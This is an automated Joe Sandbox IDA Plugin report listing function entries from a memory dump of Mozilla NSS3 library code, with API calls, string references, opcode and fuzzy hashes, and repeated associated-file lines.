Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 433bd346e69c92d4abe1e802bb0326869afc08ad3101de0b17de5eeba530a4a4
Instruction ID: 97cad4da66e332c4938e20b706147eb7816ce9f7e9ed9dca64d52f58bb66b882
Opcode Fuzzy Hash: 433bd346e69c92d4abe1e802bb0326869afc08ad3101de0b17de5eeba530a4a4
Instruction Fuzzy Hash: DA310431E04656EBC700CF698894EABBBA2AF45318B1A8954EE941BAE1D371FD04C7D0

Function 6CE51EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51EE2

Part of subcall function 6CEB1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CE51D97,?,?), ref: 6CEB1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51F37
DER_DecodeTimeChoice_Util.NSS3(?,dLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51F53

Strings

dLl, xrefs: 6CE51F2B, 6CE51F51

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLl
API String ID: 3216063065-3939847266
Opcode ID: 09430bb25b9f222c94e9e58b6cc557dedcc633da1c92bafba5e7acc2a7ed8968
Instruction ID: 8ae4d2628eaad92288f71ea73e11ce23c71ad31fff9f12bfa0589eeda4e62a7b
Opcode Fuzzy Hash: 09430bb25b9f222c94e9e58b6cc557dedcc633da1c92bafba5e7acc2a7ed8968
Instruction Fuzzy Hash: 01218371514205AFC700CEA5DD01A9BB7F9AF85699F50092DE854D3B40F732E529C7E2

Function 6CE40DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE40BDE), ref: 6CE40DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE40BDE), ref: 6CE40DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE40BDE), ref: 6CE40DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE40BDE), ref: 6CE40E32

Strings

%s incr => %d (find lib), xrefs: 6CE40E2D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: ce6a41f767901938aa6ca175b4ae428ae1b9c120257cb4182904242dbbdfb3e0
Instruction ID: 956b558798bdca00cffcb6cb48cfb604d1ce8d118605bc6cb6fd61c0ff1df3c5
Opcode Fuzzy Hash: ce6a41f767901938aa6ca175b4ae428ae1b9c120257cb4182904242dbbdfb3e0
Instruction Fuzzy Hash: A401F572A006209FEA109A25AC85E1773B8DB46609B15843DD905D7B41E762FC1587E1

Function 6CEFAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CED6AC6,?), ref: 6CEFAC2D

Part of subcall function 6CE9ADC0: TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE10
Part of subcall function 6CE9ADC0: EnterCriticalSection.KERNEL32(?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE24
Part of subcall function 6CE9ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE7D079,00000000,00000001), ref: 6CE9AE5A
Part of subcall function 6CE9ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE6F
Part of subcall function 6CE9ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE7F
Part of subcall function 6CE9ADC0: TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEB1
Part of subcall function 6CE9ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEC9

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CED6AC6,?), ref: 6CEFAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]l,00000000,?,?,6CED6AC6,?), ref: 6CEFAC59
free.MOZGLUE(8CB6FF01,6CED6AC6,?,?,?,?,?,?,?,?,?,?,6CEE5D40,00000000,?,6CEEAAD4), ref: 6CEFAC62

Strings

@]l, xrefs: 6CEFAC05

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]l
API String ID: 1595327144-728282480
Opcode ID: 9cd25c54418c8b3e642d793ce2d2d3818288a0e37df0c0b72bc476598e16f49c
Instruction ID: e47d3eb818126b5e7e6bbb462107fc410c450211ec89155f4eb76e477bc473b0
Opcode Fuzzy Hash: 9cd25c54418c8b3e642d793ce2d2d3818288a0e37df0c0b72bc476598e16f49c
Instruction Fuzzy Hash: 0A016DB5A402009FDB00DF55E8D0B56B7B8EF44B5CF288068E9598F706D735E849CBA1

Function 6CDE9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDE9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CDE9D45
EnterCriticalSection.KERNEL32(?), ref: 6CDE9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CDE9DDE

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 5c00e564d587d45eb3bdf7d2db62ec89043b2c47b3c2c62b62dafcb432af43af
Instruction ID: 68b162a5bf00e257b2b685015b1ee8f99fdf8a0b9d70f42b9a37703b61b2f18e
Opcode Fuzzy Hash: 5c00e564d587d45eb3bdf7d2db62ec89043b2c47b3c2c62b62dafcb432af43af
Instruction Fuzzy Hash: 6DA1F231F12100CBEB48AF65E9D97AE7BB5BB4A314F18412CD40647B64DB3AE845CB92

Function 6CE71E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CE71ECC

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

TlsGetValue.KERNEL32 ref: 6CE71EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE71EEF
PR_ExitMonitor.NSS3(?), ref: 6CE71F37
PR_Unlock.NSS3(?), ref: 6CE71F44

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 522e2d795136eca2b1649f7c863a6f336c704f58535fe8a8db2fce3f3c8a5684
Instruction ID: 7fa08c942845429a7de18d8a987a1b85818f78fbb26b09c7de06c371ee1c4aa9
Opcode Fuzzy Hash: 522e2d795136eca2b1649f7c863a6f336c704f58535fe8a8db2fce3f3c8a5684
Instruction Fuzzy Hash: 4471DF719043019FD720CF65D841A5AB7F1FF89358F24492DE8A893B10E731F959CBA2

Function 6CEFDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEFDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CEFDE77

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 504dc9aa4d46a31e69b4552a5db660add1032f0fcfecd30d41360fafac2f70b6
Instruction ID: 984988773218dbbfc855830f7c75fc48963e607e9301680fa0e21b212cb951db
Opcode Fuzzy Hash: 504dc9aa4d46a31e69b4552a5db660add1032f0fcfecd30d41360fafac2f70b6
Instruction Fuzzy Hash: D8715875E00314CFDB10CF99C580B99BBB4BF49718F25816DD9696B701D771AA06CF90

Function 6CE6DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE71397,5B5F5EC0,?,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB3C
Part of subcall function 6CE6AB10: free.MOZGLUE(D958E836,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB49
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(5D5E6D06), ref: 6CE6AB5C
Part of subcall function 6CE6AB10: free.MOZGLUE(5D5E6CFA), ref: 6CE6AB63
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE6AB6F
Part of subcall function 6CE6AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE6AB76

TlsGetValue.KERNEL32(?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6E029
PK11_IsLoggedIn.NSS3 ref: 6CE6E046

Part of subcall function 6CE78F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FAF
Part of subcall function 6CE78F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FD1
Part of subcall function 6CE78F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FFA
Part of subcall function 6CE78F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79013
Part of subcall function 6CE78F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79042
Part of subcall function 6CE78F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE7905A
Part of subcall function 6CE78F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79073
Part of subcall function 6CE78F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79111

PR_Unlock.NSS3(?,?,?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6E149

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: a1122427e56247fcbb756e667aa4eb51bf2b9170d57eae5df61ff2aef92924b4
Instruction ID: 407228ef7dbdb56b3ab84a30d8ca73375a8704efcd1849b878f3baaf0aefe313
Opcode Fuzzy Hash: a1122427e56247fcbb756e667aa4eb51bf2b9170d57eae5df61ff2aef92924b4
Instruction Fuzzy Hash: CE517A74650B01CFDB10DF2AC88476ABBF0BF44308F25896CD8998BB81D731E885CB82

Function 6CE7BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CE7BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE59F71,?,?,00000000), ref: 6CE7BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE7C014

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 04efa879844b6490c1532ab010ba7b9aa67b1f275d2acc1eb0a8686121ae4790
Instruction ID: fda92cf2ca7edc3ebd1652bb82cf31195ced08c2ae5519959832b6e9fd39c35b
Opcode Fuzzy Hash: 04efa879844b6490c1532ab010ba7b9aa67b1f275d2acc1eb0a8686121ae4790
Instruction Fuzzy Hash: 7041C171E012059BEB24CE669C85BAA73B9AF4560CF714128E818D7B81FB31E845CBE1

Function 6CE4EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE4EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE4EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE4EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE4EEEB
free.MOZGLUE(?), ref: 6CE4EEF6

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3659526d8b5e93545309329702267e87ec808b7fac17390b007a926a4936a803
Instruction ID: e36c421596277dc665ae462f6c961e31954d7db23c46a683274a3e7ad3e5aa66
Opcode Fuzzy Hash: 3659526d8b5e93545309329702267e87ec808b7fac17390b007a926a4936a803
Instruction Fuzzy Hash: 9931F571A00A019BE720DF2DEC85F66BBB4FB46348F244529E85A87B51D731E514CBD1

Function 6CE61F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE61F1C

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CF79EBC), ref: 6CE61FB8
SEC_ASN1EncodeItem_Util.NSS3(6CF79E9C,?,?,6CF79E9C), ref: 6CE6200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE62020

Part of subcall function 6CE56A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE5AD50,?,?), ref: 6CE56A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE62030

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: cd27f89df7251e186b6ccd2948fbf88d100f2b3c4bf202ce4c8fb13ec1779a91
Instruction ID: e7de890eeac1081a5996904a42c3059c48aaf8ce5ccf5b3e94f321e125894ff5
Opcode Fuzzy Hash: cd27f89df7251e186b6ccd2948fbf88d100f2b3c4bf202ce4c8fb13ec1779a91
Instruction Fuzzy Hash: 50215A75991502BBE7014B56DC41FAA7778FF5231CF340219E82896F80E732E528C7B1

Function 6CE51DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE51E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE51E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE51E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE51E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE51EAD

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 89ab7f6f798a1158721b521d65a9dad7a450c5f9ad858d9a3c90052320d7ed9a
Instruction ID: 29f8e265a4bb0f697dd40d33940949504e0605be6dbb2e1c0f59a4153259ae99
Opcode Fuzzy Hash: 89ab7f6f798a1158721b521d65a9dad7a450c5f9ad858d9a3c90052320d7ed9a
Instruction Fuzzy Hash: 18210372F04311ABE7008EA8DC40B9BB3B4DB85328FA44638ED6957780EB31D91987D2

Function 6CF61E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF61E5C

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

PR_Lock.NSS3(00000000), ref: 6CF61E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF61EAB
PR_GetCurrentThread.NSS3 ref: 6CF61ED0
PR_Unlock.NSS3(?), ref: 6CF61EE8

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: d0f9b955427394cd04f66dba66df6153830d372f768a057ac83109073d555317
Instruction ID: d32768a0711c6e718ecab383dd05def2d84ceb09979e054535b7f998504e69ec
Opcode Fuzzy Hash: d0f9b955427394cd04f66dba66df6153830d372f768a057ac83109073d555317
Instruction Fuzzy Hash: 9521CC75A14612AFD710CF2AD880A86B7B1FF54728B25C229E8198BF40D730FA20CBD1

Function 6CEABE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE5E708,00000000,00000000,00000004,00000000), ref: 6CEABE6A

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?), ref: 6CEABE7E

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?,?), ref: 6CEABED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEEB

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true
